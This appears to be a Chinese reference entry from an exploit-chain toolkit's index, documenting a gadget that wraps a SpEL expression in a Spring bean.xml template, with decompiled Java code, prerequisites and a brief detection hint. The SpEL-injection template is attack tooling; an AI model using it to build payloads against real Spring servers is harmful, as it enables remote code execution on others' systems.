- 类别:
common别名:— 优先级:20 - 作者:—
- 依赖:
spring-bean、spel - 实现:
Gadget
把内层 SpEL 表达式嵌入 Spring bean.xml。
- 入口
tags:Other - 衔接
nextTags:SpEL_Expr excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public String getObject(String spelString) {
String payload = String.format(template, spelString);
HashMap<String, byte[]> fileMap = new HashMap<String, byte[]>();
fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes());
this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);
return payload;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
return this.getObject((String)chain.doCreate(context));
}invoke() 从内层链取得 SpEL 字符串,调用 getObject(spelString)。
getObject() 使用模板 <bean class="#{%s}"></bean> 把表达式放入 bean class 属性,随后把生成的 XML 以随机 .xml 文件写入 ContextTag.CACHE_FILES_MAP。
本构件自身不决定表达式内容,真正能力来自衔接的 SpEL_Expr 标签下游。
本类无 @Param,运行时输入来自链上下文或内层 gadget。
- 注解描述:适用于ClassPathXmlApplicationContext加载xml文件场景
- 依赖条件:
spring-bean、spel。 - 需要目标 Spring 解析 XML 时启用 SpEL 表达式求值,并存在可达的表达式 sink。
- 可衔接下一环:
SpEL_Expr。
关注 Spring XML 中 class="#{...}" 和随机缓存 XML 文件。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。